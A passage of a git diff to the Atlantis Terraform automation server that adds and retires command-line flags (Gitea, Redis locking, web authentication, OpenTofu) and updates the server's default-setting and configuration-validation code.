operation. If this argument is not provided, the default value (*:*) " + + "will be used and the default behavior will be to not check permissions " + + "and to allow users from any team to perform any operation.", + }, GHUserFlag: { description: "GitHub username of API user.", defaultValue: "", @@ -177,10 +322,20 @@ var stringFlags = map[string]stringFlag{ GHTokenFlag: { description: "GitHub token of API user. Can also be specified via the ATLANTIS_GH_TOKEN environment variable.", }, + GHTokenFileFlag: { + description: "A path to a file containing the GitHub token of API user. Can also be specified via the ATLANTIS_GH_TOKEN_FILE environment variable.", + }, + GHAppKeyFlag: { + description: "The GitHub App's private key", + defaultValue: "", + }, GHAppKeyFileFlag: { description: "A path to a file containing the GitHub App's private key", defaultValue: "", }, + GHAppSlugFlag: { + description: "The Github app slug (ie. the URL-friendly name of your GitHub App)", + }, GHOrganizationFlag: { description: "The name of the GitHub organization to use during the creation of a Github App for Atlantis", defaultValue: "", @@ -191,6 +346,33 @@ var stringFlags = map[string]stringFlag{ "This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. " + "Should be specified via the ATLANTIS_GH_WEBHOOK_SECRET environment variable.", }, + GiteaBaseURLFlag: { + description: "Base URL of Gitea server installation. Must include 'http://' or 'https://'.", + }, + GiteaUserFlag: { + description: "Gitea username of API user.", + defaultValue: "", + }, + GiteaTokenFlag: { + description: "Gitea token of API user. Can also be specified via the ATLANTIS_GITEA_TOKEN environment variable.", + }, + GiteaWebhookSecretFlag: { + description: "Optional secret used to validate Gitea webhooks." + + " SECURITY WARNING: If not specified, Atlantis won't be able to validate that the incoming webhook call came from Gitea. " + + "This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. " + + "Should be specified via the ATLANTIS_GITEA_WEBHOOK_SECRET environment variable.", + }, + GitlabGroupAllowlistFlag: { + description: "Comma separated list of key-value pairs representing the GitLab groups and the operations that " + + "the members of a particular group are allowed to perform. " + + "The format is {group}:{command},{group}:{command}. " + + "Valid values for 'command' are 'plan', 'apply' and '*', e.g. 'myorg/dev:plan,myorg/ops:apply,myorg/devops:*'" + + "This example gives the users from the 'myorg/dev' GitLab group the permissions to execute the 'plan' command, " + + "the 'myorg/ops' group the permissions to execute the 'apply' command, " + + "and allows the 'myorg/devops' group to perform any operation. If this argument is not provided, the default value (*:*) " + + "will be used and the default behavior will be to not check permissions " + + "and to allow users from any group to perform any operation.", + }, GitlabHostnameFlag: { description: "Hostname of your GitLab Enterprise installation. If using gitlab.com, no need to set.", defaultValue: DefaultGitlabHostname, @@ -207,10 +389,31 @@ var stringFlags = map[string]stringFlag{ "This means that an attacker could spoof calls to Atlantis and cause it to perform malicious actions. " + "Should be specified via the ATLANTIS_GITLAB_WEBHOOK_SECRET environment variable.", }, + APISecretFlag: { + description: "Secret used to validate requests made to the /api/* endpoints", + }, + LockingDBType: { + description: "The locking database type to use for storing plan and apply locks.", + defaultValue: DefaultLockingDBType, + }, LogLevelFlag: { description: "Log level. Either debug, info, warn, or error.", defaultValue: DefaultLogLevel, }, + MarkdownTemplateOverridesDirFlag: { + description: "Directory for custom overrides to the markdown templates used for comments.", + defaultValue: DefaultMarkdownTemplateOverridesDir, + }, + StatsNamespace: { + description: "Namespace for aggregating stats.", + defaultValue: DefaultStatsNamespace, + }, + RedisHost: { + description: "The Redis Hostname for when using a Locking DB type of 'redis'.", + }, + RedisPassword: { + description: "The Redis Password for when using a Locking DB type of 'redis'.", + }, RepoConfigFlag: { description: "Path to a repo config file, used to customize how Atlantis runs on each repo. See runatlantis.io/docs for more details.", }, @@ -223,10 +426,6 @@ var stringFlags = map[string]stringFlag{ "all repos: '*' (not secure), an entire hostname: 'internalgithub.com/*' or an organization: 'github.com/runatlantis/*'." + " For Bitbucket Server, {owner} is the name of the project (not the key).", }, - RepoWhitelistFlag: { - description: "[Deprecated for --repo-allowlist].", - hidden: true, - }, SlackTokenFlag: { description: "API token for Slack notifications.", }, @@ -236,6 +435,10 @@ var stringFlags = map[string]stringFlag{ SSLKeyFileFlag: { description: fmt.Sprintf("File containing x509 private key matching --%s.", SSLCertFileFlag), }, + TFDistributionFlag: { + description: "[Deprecated for --default-tf-distribution].", + hidden: true, + }, TFDownloadURLFlag: { description: "Base URL to download Terraform versions from.", defaultValue: DefaultTFDownloadURL, @@ -249,14 +452,42 @@ var stringFlags = map[string]stringFlag{ " Only set if using TFC/E as a remote backend." + " Should be specified via the ATLANTIS_TFE_TOKEN environment variable for security.", }, + DefaultTFDistributionFlag: { + description: fmt.Sprintf("Which TF distribution to use. Can be set to %s or %s.", TFDistributionTerraform, TFDistributionOpenTofu), + defaultValue: DefaultTFDistribution, + }, DefaultTFVersionFlag: { description: "Terraform version to default to (ex. v0.12.0). Will download if not yet on disk." + " If not set, Atlantis uses the terraform binary in its PATH.", }, + VarFileAllowlistFlag: { + description: "Comma-separated list of additional paths where variable definition files can be read from." + + " If this argument is not provided, it defaults to Atlantis' data directory, determined by the --data-dir argument.", + }, + IgnoreVCSStatusNames: { + description: "Comma separated list of VCS status names from other atlantis services." + + " When `gh-allow-mergeable-bypass-apply` is true, will ignore status checks (e.g. `status1/plan`, `status1/apply`, `status2/plan`, `status2/apply`) from other Atlantis services when checking if the PR is mergeable." + + " Currently only implemented for GitHub.", + defaultValue: DefaultIgnoreVCSStatusNames, + }, VCSStatusName: { description: "Name used to identify Atlantis for pull request statuses.", defaultValue: DefaultVCSStatusName, }, + WebhookHttpHeaders: { + description: "Additional headers added to each HTTP POST payload when using HTTP webhooks provided as a JSON string." + + " The map key is the header name and the value is the header value (string) or values (array of string)." + + " For example: `{\"Authorization\":\"Bearer some-token\",\"X-Custom-Header\":[\"value1\",\"value2\"]}`.", + defaultValue: "", + }, + WebUsernameFlag: { + description: "Username used for Web Basic Authentication on Atlantis HTTP Middleware", + defaultValue: DefaultWebUsername, + }, + WebPasswordFlag: { + description: "Password used for Web Basic Authentication on Atlantis HTTP Middleware", + defaultValue: DefaultWebPassword, + }, } var boolFlags = map[string]boolFlag{ @@ -264,12 +495,9 @@ var boolFlags = map[string]boolFlag{ description: "Allow Atlantis to run on pull requests from forks. A security issue for public repos.", defaultValue: false, }, - AllowRepoConfigFlag: { - description: "Allow repositories to use atlantis.yaml files to customize the commands Atlantis runs." + - " Should only be enabled in a trusted environment since it enables a pull request to run arbitrary commands" + - " on the Atlantis server.", + AutoplanModules: { + description: "Automatically plan projects that have a changed module from the local repository.", defaultValue: false, - hidden: true, }, AutomergeFlag: { description: "Automatically merge pull requests when all plans are successfully applied.", @@ -279,14 +507,45 @@ var boolFlags = map[string]boolFlag{ description: "Disable \"atlantis apply\" command without any flags (i.e. apply all). A specific project/workspace/directory has to be specified for applies.", defaultValue: false, }, - DisableApplyFlag: { - description: "Disable all \"atlantis apply\" command regardless of which flags are passed with it.", - defaultValue: false, - }, DisableAutoplanFlag: { description: "Disable atlantis auto planning feature", defaultValue: false, }, + + DisableRepoLockingFlag: { + description: "Disable atlantis locking repos", + }, + DisableGlobalApplyLockFlag: { + description: "Disable atlantis global apply lock in UI", + }, + DiscardApprovalOnPlanFlag: { + description: "Enables the discarding of approval if a new plan has been executed. Currently only Github is supported", + defaultValue: false, + }, + EnablePolicyChecksFlag: { + description: "Enable atlantis to run user defined policy checks. This is explicitly disabled for TFE/TFC backends since plan files are inaccessible.", + defaultValue: false, + }, + EnableRegExpCmdFlag: { + description: "Enable Atlantis to use regular expressions on plan/apply commands when \"-p\" flag is passed with it.", + defaultValue: false, + }, + EnableProfilingAPI: { + description: "Enable net/http/pprof routes in server for continuous profiling.", + defaultValue: false, + }, + EnableDiffMarkdownFormat: { + description: "Enable Atlantis to format Terraform plan output into a markdown-diff friendly format for color-coding purposes.", + defaultValue: false, + }, + FailOnPreWorkflowHookError: { + description: "Fail and do not run the requested Atlantis command if any of the pre workflow hooks error.", + defaultValue: false, + }, + GHAllowMergeableBypassApply: { + description: "Feature flag to enable functionality to allow mergeable check to ignore apply required check", + defaultValue: false, + }, AllowDraftPRs: { description: "Enable autoplan for Github Draft Pull Requests", defaultValue: false, @@ -296,15 +555,33 @@ var boolFlags = map[string]boolFlag{ "VCS support is limited to: GitHub.", defaultValue: false, }, - RequireApprovalFlag: { - description: "Require pull requests to be \"Approved\" before allowing the apply command to be run.", + IncludeGitUntrackedFiles: { + description: "Include git untracked files in the Atlantis modified file scope.", + defaultValue: false, + }, + ParallelPlanFlag: { + description: "Run plan operations in parallel.", + defaultValue: false, + }, + ParallelApplyFlag: { + description: "Run apply operations in parallel.", + defaultValue: false, + }, + QuietPolicyChecks: { + description: "Exclude policy check comments from pull requests unless there's an actual error from conftest. This also excludes warnings.", defaultValue: false, - hidden: true, }, - RequireMergeableFlag: { - description: "Require pull requests to be mergeable before allowing the apply command to be run.", + RedisTLSEnabled: { + description: "Enable TLS on the connection to Redis with a min TLS version of 1.2", + defaultValue: DefaultRedisTLSEnabled, + }, + RedisInsecureSkipVerify: { + description: "Controls whether the Redis client verifies the Redis server's certificate chain and host name. If true, accepts any certificate presented by the server and any host name in that certificate.", + defaultValue: DefaultRedisInsecureSkipVerify, + }, + SilenceNoProjectsFlag: { + description: "Silences Atlants from responding to PRs when it finds no projects.", defaultValue: false, - hidden: true, }, SilenceForkPRErrorsFlag: { description: "Silences the posting of fork pull requests not allowed error comments.", @@ -314,14 +591,13 @@ var boolFlags = map[string]boolFlag{ description: "Silences VCS commit status when autoplan finds no projects to plan.", defaultValue: false, }, - SilenceAllowlistErrorsFlag: { - description: "Silences the posting of allowlist error comments.", + SilenceVCSStatusNoProjectsFlag: { + description: "Silences VCS commit status when for all commands when a project is not defined.", defaultValue: false, }, - SilenceWhitelistErrorsFlag: { - description: "[Deprecated for --silence-allowlist-errors].", + SilenceAllowlistErrorsFlag: { + description: "Silences the posting of allowlist error comments.", defaultValue: false, - hidden: true, }, DisableMarkdownFoldingFlag: { description: "Toggle off folding in markdown output.", @@ -336,8 +612,50 @@ var boolFlags = map[string]boolFlag{ description: "Skips cloning the PR repo if there are no projects were changed in the PR.", defaultValue: false, }, + TFDownloadFlag: { + description: "Allow Atlantis to list & download Terraform versions. Setting this to false can be helpful in air-gapped environments.", + defaultValue: DefaultTFDownload, + }, + TFELocalExecutionModeFlag: { + description: "Enable if you're using local execution mode (instead of TFE/C's remote execution mode).", + defaultValue: false, + }, + WebBasicAuthFlag: { + description: "Switches on or off the Basic Authentication on the HTTP Middleware interface", + defaultValue: DefaultWebBasicAuth, + }, + RestrictFileList: { + description: "Block plan requests from projects outside the files modified in the pull request.", + defaultValue: false, + }, + WebsocketCheckOrigin: { + description: "Enable websocket origin check", + defaultValue: false, + }, + HideUnchangedPlanComments: { + description: "Remove no-changes plan comments from the pull request.", + defaultValue: false, + }, + UseTFPluginCache: { + description: "Enable the use of the Terraform plugin cache", + defaultValue: true, + }, } var intFlags = map[string]intFlag{ + CheckoutDepthFlag: { + description: fmt.Sprintf("Used only if --%s=%s.", CheckoutStrategyFlag, CheckoutStrategyMerge) + + " How many commits to include in each of base and feature branches when cloning repository." + + " If merge base is further behind than this number of commits from any of branches heads, full fetch will be performed.", + defaultValue: DefaultCheckoutDepth, + }, + MaxCommentsPerCommand: { + description: "If non-zero, the maximum number of comments to split command output into before truncating.", + defaultValue: DefaultMaxCommentsPerCommand, + }, + GiteaPageSizeFlag: { + description: "Optional value that specifies the number of results per page to expect from Gitea.", + defaultValue: DefaultGiteaPageSize, + }, ParallelPoolSize: { description: "Max size of the wait group that runs parallel plans and applies (if enabled).", defaultValue: DefaultParallelPoolSize, @@ -346,6 +664,14 @@ var intFlags = map[string]intFlag{ description: "Port to bind to.", defaultValue: DefaultPort, }, + RedisDB: { + description: "The Redis Database to use when using a Locking DB type of 'redis'.", + defaultValue: DefaultRedisDB, + }, + RedisPort: { + description: "The Redis Port for when using a Locking DB type of 'redis'.", + defaultValue: DefaultRedisPort, + }, } var int64Flags = map[string]int64Flag{ @@ -353,6 +679,13 @@ var int64Flags = map[string]int64Flag{ description: "GitHub App Id. If defined, initializes the GitHub client with app-based credentials", defaultValue: 0, }, + GHAppInstallationIDFlag: { + description: "GitHub App Installation Id. If defined, initializes the GitHub client with app-based credentials " + + "using this specific GitHub Application Installation ID, otherwise it attempts to auto-detect it. " + + "Note that this value must be set if you want to have one App and multiple installations of that same " + + "application.", + defaultValue: 0, + }, } // ValidLogLevels are the valid log levels that can be set @@ -388,7 +721,7 @@ type ServerCmd struct { // Useful for testing to keep the logs clean. SilenceOutput bool AtlantisVersion string - Logger *logging.SimpleLogger + Logger logging.SimpleLogging } // ServerCreator creates servers. @@ -436,7 +769,7 @@ func (s *ServerCmd) Init() *cobra.Command { c.SetUsageTemplate(usageTmpl(stringFlags, intFlags, boolFlags)) // If a user passes in an invalid flag, tell them what the flag was. - c.SetFlagErrorFunc(func(c *cobra.Command, err error) error { + c.SetFlagErrorFunc(func(_ *cobra.Command, err error) error { s.printErr(err) return err }) @@ -509,7 +842,7 @@ func (s *ServerCmd) run() error { if err := s.Viper.Unmarshal(&userConfig); err != nil { return err } - s.setDefaults(&userConfig) + s.setDefaults(&userConfig, s.Viper) // Now that we've parsed the config we can set our local logger to the // right level. @@ -524,6 +857,10 @@ func (s *ServerCmd) run() error { if err := s.setDataDir(&userConfig); err != nil { return err } + if err := s.setMarkdownTemplateOverridesDir(&userConfig); err != nil { + return err + } + s.setVarFileAllowlist(&userConfig) if err := s.deprecationWarnings(&userConfig); err != nil { return err } @@ -532,20 +869,34 @@ func (s *ServerCmd) run() error { // Config looks good. Start the server. server, err := s.ServerCreator.NewServer(userConfig, server.Config{ - AllowForkPRsFlag: AllowForkPRsFlag, - AtlantisURLFlag: AtlantisURLFlag, - AtlantisVersion: s.AtlantisVersion, - DefaultTFVersionFlag: DefaultTFVersionFlag, - RepoConfigJSONFlag: RepoConfigJSONFlag, - SilenceForkPRErrorsFlag: SilenceForkPRErrorsFlag, + AllowForkPRsFlag: AllowForkPRsFlag, + AtlantisURLFlag: AtlantisURLFlag, + AtlantisVersion: s.AtlantisVersion, + DefaultTFDistributionFlag: DefaultTFDistributionFlag, + DefaultTFVersionFlag: DefaultTFVersionFlag, + RepoConfigJSONFlag: RepoConfigJSONFlag, + SilenceForkPRErrorsFlag: SilenceForkPRErrorsFlag, }) + if err != nil { return errors.Wrap(err, "initializing server") } return server.Start() } -func (s *ServerCmd) setDefaults(c *server.UserConfig) { +func (s *ServerCmd) setDefaults(c *server.UserConfig, v *viper.Viper) { + if c.AzureDevOpsHostname == "" { + c.AzureDevOpsHostname = DefaultADHostname + } + if c.AutoplanFileList == "" { + c.AutoplanFileList = DefaultAutoplanFileList + } + if c.CheckoutDepth <= 0 { + c.CheckoutDepth = DefaultCheckoutDepth + } + if c.AllowCommands == "" { + c.AllowCommands = DefaultAllowCommands + } if c.CheckoutStrategy == "" { c.CheckoutStrategy = DefaultCheckoutStrategy } @@ -558,27 +909,75 @@ func (s *ServerCmd) setDefaults(c *server.UserConfig) { if c.GitlabHostname == "" { c.GitlabHostname = DefaultGitlabHostname } + if c.GiteaBaseURL == "" { + c.GiteaBaseURL = DefaultGiteaBaseURL + } + if c.GiteaPageSize == 0 { + c.GiteaPageSize = DefaultGiteaPageSize + } if c.BitbucketBaseURL == "" { c.BitbucketBaseURL = DefaultBitbucketBaseURL } + if c.EmojiReaction == "" { + c.EmojiReaction = DefaultEmojiReaction + } + if c.ExecutableName == "" { + c.ExecutableName = DefaultExecutableName + } + if c.LockingDBType == "" { + c.LockingDBType = DefaultLockingDBType + } if c.LogLevel == "" { c.LogLevel = DefaultLogLevel } + if c.MarkdownTemplateOverridesDir == "" { + c.MarkdownTemplateOverridesDir = DefaultMarkdownTemplateOverridesDir + } + if !v.IsSet("max-comments-per-command") { + c.MaxCommentsPerCommand = DefaultMaxCommentsPerCommand + } if c.ParallelPoolSize == 0 { c.ParallelPoolSize = DefaultParallelPoolSize } + if c.StatsNamespace == "" { + c.StatsNamespace = DefaultStatsNamespace + } if c.Port == 0 { c.Port = DefaultPort } + if c.RedisDB == 0 { + c.RedisDB = DefaultRedisDB + } + if c.RedisPort == 0 { + c.RedisPort = DefaultRedisPort + } + if c.TFDistribution != "" && c.DefaultTFDistribution == "" { + c.DefaultTFDistribution = c.TFDistribution + } + if c.DefaultTFDistribution == "" { + c.DefaultTFDistribution = DefaultTFDistribution + } if c.TFDownloadURL == "" { c.TFDownloadURL = DefaultTFDownloadURL } if c.VCSStatusName == "" { c.VCSStatusName = DefaultVCSStatusName } + if c.IgnoreVCSStatusNames == "" { + c.IgnoreVCSStatusNames = DefaultIgnoreVCSStatusNames + } if c.TFEHostname == "" { c.TFEHostname = DefaultTFEHostname } + if c.WebUsername == "" { + c.WebUsername = DefaultWebUsername + } + if c.WebPassword == "" { + c.WebPassword = DefaultWebPassword + } + if c.AutoDiscoverModeFlag == "" { + c.AutoDiscoverModeFlag = DefaultAutoDiscoverMode + } } func (s *ServerCmd) validate(userConfig server.UserConfig) error { @@ -587,9 +986,15 @@ func (s *ServerCmd) validate(userConfig server.UserConfig) error { return fmt.Errorf("invalid log level: must be one of %v", ValidLogLevels) } + if userConfig.DefaultTFDistribution != TFDistributionTerraform && userConfig.DefaultTFDistribution != TFDistributionOpenTofu { + return fmt.Errorf("invalid tf distribution: expected one of %s or %s", + TFDistributionTerraform, TFDistributionOpenTofu) + } + checkoutStrategy := userConfig.CheckoutStrategy - if checkoutStrategy != "branch" && checkoutStrategy != "merge" { - return errors.New("invalid checkout strategy: not one of branch or merge") + if checkoutStrategy != CheckoutStrategyBranch && checkoutStrategy != CheckoutStrategyMerge { + return fmt.Errorf("invalid checkout strategy: not one of %s or %s", + CheckoutStrategyBranch, CheckoutStrategyMerge) } if (userConfig.SSLKeyFile == "") != (userConfig.SSLCertFile == "") { @@ -597,41 +1002,42 @@ func (s *ServerCmd) validate(userConfig server.UserConfig) error { } // The following combinations are valid. - // 1. github user and token set - // 2. gitlab user and token set - // 3. bitbucket user and token set - // 4. azuredevops user and token set - // 5. any combination of the above - vcsErr := fmt.Errorf("--%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s must be set", GHUserFlag, GHTokenFlag, GHAppIDFlag, GHAppKeyFileFlag, GitlabUserFlag, GitlabTokenFlag, BitbucketUserFlag, BitbucketTokenFlag, ADUserFlag, ADTokenFlag) - if ((userConfig.GithubUser == "") != (userConfig.GithubToken == "")) || ((userConfig.GithubAppID == 0) != (userConfig.GithubAppKey == "")) || ((userConfig.GitlabUser == "") != (userConfig.GitlabToken == "")) || ((userConfig.BitbucketUser == "") != (userConfig.BitbucketToken == "")) || ((userConfig.AzureDevopsUser == "") != (userConfig.AzureDevopsToken == "")) { + // 1. github user and (token or token file) + // 2. github app ID and (key file set or key set) + // 3. gitea user and token set + // 4. gitlab user and token set + // 5. bitbucket user and token set + // 6. azuredevops user and token set + // 7. any combination of the above + vcsErr := fmt.Errorf("--%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s or --%s/--%s must be set", GHUserFlag, GHTokenFlag, GHUserFlag, GHTokenFileFlag, GHAppIDFlag, GHAppKeyFileFlag, GHAppIDFlag, GHAppKeyFlag, GiteaUserFlag, GiteaTokenFlag, GitlabUserFlag, GitlabTokenFlag, BitbucketUserFlag, BitbucketTokenFlag, ADUserFlag, ADTokenFlag) + if ((userConfig.GiteaUser == "") != (userConfig.GiteaToken == "")) || + ((userConfig.GitlabUser == "") != (userConfig.GitlabToken == "")) || + ((userConfig.BitbucketUser == "") != (userConfig.BitbucketToken == "")) || + ((userConfig.AzureDevopsUser == "") != (userConfig.AzureDevopsToken == "")) { return vcsErr } + if userConfig.GithubUser != "" { + if (userConfig.GithubToken == "") == (userConfig.GithubTokenFile == "") { + return vcsErr + } + } + if userConfig.GithubAppID != 0 { + if (userConfig.GithubAppKey == "") == (userConfig.GithubAppKeyFile == "") { + return vcsErr + } + } // At this point, we know that there can't be a single user/token without // its partner, but we haven't checked if any user/token is set at all. - if userConfig.GithubAppID == 0 && userConfig.GithubUser == "" && userConfig.GitlabUser == "" && userConfig.BitbucketUser == "" && userConfig.AzureDevopsUser == "" { + if userConfig.GithubAppID == 0 && userConfig.GithubUser == "" && userConfig.GiteaUser == "" && userConfig.GitlabUser == "" && userConfig.BitbucketUser == "" && userConfig.AzureDevopsUser == "" { return vcsErr } - // Handle deprecation of repo whitelist. - if userConfig.RepoWhitelist == "" && userConfig.RepoAllowlist == "" { + if userConfig.RepoAllowlist == "" { return fmt.Errorf("--%s must be set for security purposes", RepoAllowlistFlag) } - if userConfig.RepoAllowlist != "" && userConfig.RepoWhitelist != "" { - return fmt.Errorf("both --%s and --%s cannot be set–use --%s", RepoAllowlistFlag, RepoWhitelistFlag, RepoAllowlistFlag) - } - if strings.Contains(userConfig.RepoWhitelist, "://") { - return fmt.Errorf("--%s cannot contain ://, should be hostnames only", RepoWhitelistFlag) - } if strings.Contains(userConfig.RepoAllowlist, "://") { return fmt.Errorf("--%s cannot contain ://, should be hostnames only", RepoAllowlistFlag) } - if userConfig.SilenceAllowlistErrors && userConfig.SilenceWhitelistErrors { - return fmt.Errorf("both --%s and --%s cannot be set–use --%s", SilenceAllowlistErrorsFlag, SilenceWhitelistErrorsFlag, SilenceAllowlistErrorsFlag) - } - - if userConfig.BitbucketBaseURL == DefaultBitbucketBaseURL && userConfig.BitbucketWebhookSecret != "" { - return fmt.Errorf("--%s cannot be specified for Bitbucket Cloud because it is not supported by Bitbucket", BitbucketWebhookSecretFlag) - } parsed, err := url.Parse(userConfig.BitbucketBaseURL) if err != nil { @@ -641,6 +1047,14 @@ func (s *ServerCmd) validate(userConfig server.UserConfig) error { return fmt.Errorf("--%s must have http:// or https://, got %q", BitbucketBaseURLFlag, userConfig.BitbucketBaseURL) } + parsed, err = url.Parse(userConfig.GiteaBaseURL) + if err != nil { + return fmt.Errorf("error parsing --%s flag value %q: %s", GiteaWebhookSecretFlag, userConfig.GiteaBaseURL, err) + } + if parsed.Scheme != "http" && parsed.Scheme != "https" { + return fmt.Errorf("--%s must have http:// or https://, got %q", GiteaBaseURLFlag, userConfig.GiteaBaseURL) + } + if userConfig.RepoConfig != "" && userConfig.RepoConfigJSON != "" { return fmt.Errorf("cannot use --%s and --%s at the same time", RepoConfigFlag, RepoConfigJSONFlag) } @@ -648,11 +1062,14 @@ func (s *ServerCmd) validate(userConfig server.UserConfig) error { // Warn if any tokens have newlines. for name, token := range map[string]string{ GHTokenFlag: userConfig.GithubToken, + GHTokenFileFlag: userConfig.GithubTokenFile, GHWebhookSecretFlag: userConfig.GithubWebhookSecret, GitlabTokenFlag: userConfig.GitlabToken, GitlabWebhookSecretFlag: userConfig.GitlabWebhookSecret, BitbucketTokenFlag: userConfig.BitbucketToken, BitbucketWebhookSecretFlag: userConfig.BitbucketWebhookSecret, + GiteaTokenFlag: userConfig.GiteaToken, + GiteaWebhookSecretFlag: userConfig.GiteaWebhookSecret, } { if strings.Contains(token, "\n") { s.Logger.Warn("--%s contains a newline which is usually unintentional", name) @@ -663,6 +1080,19 @@ func (s *ServerCmd) validate(userConfig server.UserConfig) error { return fmt.Errorf("if setting --%s, must set --%s", TFEHostnameFlag, TFETokenFlag) } + _, patternErr := patternmatcher.New(strings.Split(userConfig.AutoplanFileList, ",")) + if patternErr != nil { + return errors.Wrapf(patternErr, "invalid pattern in --%s, %s", AutoplanFileListFlag, userConfig.AutoplanFileList) + } + + if _, err := userConfig.ToAllowCommandNames(); err != nil { + return errors.Wrapf(err, "invalid --%s", AllowCommandsFlag) + } + + if _, err := userConfig.ToWebhookHttpHeaders(); err != nil { + return errors.Wrapf(err, "invalid --%s", WebhookHttpHeaders) + } + return nil } @@ -702,9 +1132,42 @@ func (s *ServerCmd) setDataDir(userConfig *server.UserConfig) error { return nil } +// setMarkdownTemplateOverridesDir checks if ~ was used in markdown-template-overrides-dir and converts it to the actual +// home directory. If we don't do this, we'll create a directory called "~" +// instead of actually using home. It also converts relative paths to absolute. +func (s *ServerCmd) setMarkdownTemplateOverridesDir(userConfig *server.UserConfig) error { + finalPath := userConfig.MarkdownTemplateOverridesDir + + // Convert ~ to the actual home dir. + if strings.HasPrefix(finalPath, "~/") { + var err error + finalPath, err = homedir.Expand(finalPath) + if err != nil { + return errors.Wrap(err, "determining home directory") + } + } + + // Convert relative paths to absolute. + finalPath, err := filepath.Abs(finalPath) + if err != nil { + return errors.Wrap(err, "making markdown-template-overrides-dir absolute") + } + userConfig.MarkdownTemplateOverridesDir = finalPath + return nil +} + +// setVarFileAllowlist checks if var-file-allowlist is unassigned and makes it default to data-dir for better backward +// compatibility. +func (s *ServerCmd) setVarFileAllowlist(userConfig *server.UserConfig) { + if userConfig.VarFileAllowlist == "" { + userConfig.VarFileAllowlist = userConfig.DataDir + } +} + // trimAtSymbolFromUsers trims @ from the front of the github and gitlab usernames func (s *ServerCmd) trimAtSymbolFromUsers(userConfig *server.UserConfig) { userConfig.GithubUser = strings.TrimPrefix(userConfig.GithubUser, "@") + userConfig.GiteaUser = strings.TrimPrefix(userConfig.GiteaUser, "@") userConfig.GitlabUser = strings.TrimPrefix(userConfig.GitlabUser, "@") userConfig.BitbucketUser = strings.TrimPrefix(userConfig.BitbucketUser, "@") userConfig.AzureDevopsUser = strings.TrimPrefix(userConfig.AzureDevopsUser, "@") @@ -714,50 +1177,34 @@ func (s *ServerCmd) securityWarnings(userConfig *server.UserConfig) { if userConfig.GithubUser != "" && userConfig.GithubWebhookSecret == "" && !s.SilenceOutput { s.Logger.Warn("no GitHub webhook secret set. This could allow attackers to spoof requests from GitHub") } + if userConfig.GiteaUser != "" && userConfig.GiteaWebhookSecret == "" && !s.SilenceOutput { + s.Logger.Warn("no Gitea webhook secret set. This could allow attackers to spoof requests from Gitea") + } if userConfig.GitlabUser != "" && userConfig.GitlabWebhookSecret == "" && !s.SilenceOutput { s.Logger.Warn("no GitLab webhook secret set. This could allow attackers to spoof requests from GitLab") } if userConfig.BitbucketUser != "" && userConfig.BitbucketBaseURL != DefaultBitbucketBaseURL && userConfig.BitbucketWebhookSecret == "" && !s.SilenceOutput { s.Logger.Warn("no Bitbucket webhook secret set. This could allow attackers to spoof requests from Bitbucket") } - if userConfig.BitbucketUser != "" && userConfig.BitbucketBaseURL == DefaultBitbucketBaseURL && !s.SilenceOutput { - s.Logger.Warn("Bitbucket Cloud does not support webhook secrets. This could allow attackers to spoof requests from Bitbucket. Ensure you are allowing only Bitbucket IPs") - } if userConfig.AzureDevopsWebhookUser != "" && userConfig.AzureDevopsWebhookPassword == "" && !s.SilenceOutput { s.Logger.Warn("no Azure DevOps webhook user and password set. This could allow attackers to spoof requests from Azure DevOps.") } } // deprecationWarnings prints a warning if flags that are deprecated are -// being used. Right now this only applies to flags that have been made obsolete -// due to server-side config. +// being used. func (s *ServerCmd) deprecationWarnings(userConfig *server.UserConfig) error { - var applyReqs []string var deprecatedFlags []string - if userConfig.RequireApproval { - deprecatedFlags = append(deprecatedFlags, RequireApprovalFlag) - applyReqs = append(applyReqs, valid.ApprovedApplyReq) - } - if userConfig.RequireMergeable { - deprecatedFlags = append(deprecatedFlags, RequireMergeableFlag) - applyReqs = append(applyReqs, valid.MergeableApplyReq) - } - // Build up strings with what the recommended yaml and json config should - // be instead of using the deprecated flags. - yamlCfg := "---\nrepos:\n- id: /.*/" - jsonCfg := `{"repos":[{"id":"/.*/"` - if len(applyReqs) > 0 { - yamlCfg += fmt.Sprintf("\n apply_requirements: [%s]", strings.Join(applyReqs, ", ")) - jsonCfg += fmt.Sprintf(`, "apply_requirements":["%s"]`, strings.Join(applyReqs, "\", \"")) + // Currently there are no deprecated flags; if flags become deprecated, add them here like so + // if userConfig.SomeDeprecatedFlag { + // deprecatedFlags = append(deprecatedFlags, SomeDeprecatedFlag) + // } + // + if userConfig.TFDistribution != "" { + deprecatedFlags = append(deprecatedFlags, TFDistributionFlag) } - if userConfig.AllowRepoConfig { - deprecatedFlags = append(deprecatedFlags, AllowRepoConfigFlag) - yamlCfg += "\n allowed_overrides: [apply_requirements, workflow]\n allow_custom_workflows: true" - jsonCfg += `, "allowed_overrides":["apply_requirements","workflow"], "allow_custom_workflows":true` - } - jsonCfg += "}]}" if len(deprecatedFlags) > 0 { warning := "WARNING: " @@ -766,23 +1213,9 @@ func (s *ServerCmd) deprecationWarnings(userConfig *server.UserConfig) error { } else { warning += fmt.Sprintf("Flags --%s and --%s have been deprecated.", strings.Join(deprecatedFlags[0:len(deprecatedFlags)-1], ", --"), deprecatedFlags[len(deprecatedFlags)-1:][0]) } - warning += fmt.Sprintf("\nCreate a --%s file with the following config instead:\n\n%s\n\nor use --%s='%s'\n", - RepoConfigFlag, - yamlCfg, - RepoConfigJSONFlag, - jsonCfg, - ) fmt.Println(warning) } - // Handle repo whitelist deprecation. - if userConfig.SilenceWhitelistErrors { - userConfig.SilenceAllowlistErrors = true - } - if userConfig.RepoWhitelist != "" { - userConfig.RepoAllowlist = userConfig.RepoWhitelist - } - return nil } diff --git a/cmd/server_test.go b/cmd/server_test.go index d5b66614ba..daef8709b2 100644 --- a/cmd/server_test.go +++ b/cmd/server_test.go @@ -14,19 +14,25 @@ package cmd import ( + "bufio" + "cmp" "fmt" - "io/ioutil" "os" "path/filepath" "reflect" + "slices" "strings" "testing" homedir "github.com/mitchellh/go-homedir" - "github.com/runatlantis/atlantis/server" - . "github.com/runatlantis/atlantis/testing" "github.com/spf13/cobra" "github.com/spf13/viper" + "gopkg.in/yaml.v3" + + "github.com/runatlantis/atlantis/server" + "github.com/runatlantis/atlantis/server/events/vcs/testdata" + "github.com/runatlantis/atlantis/server/logging" + . "github.com/runatlantis/atlantis/testing" ) // passedConfig is set to whatever config ended up being passed to NewServer. @@ -35,7 +41,7 @@ var passedConfig server.UserConfig 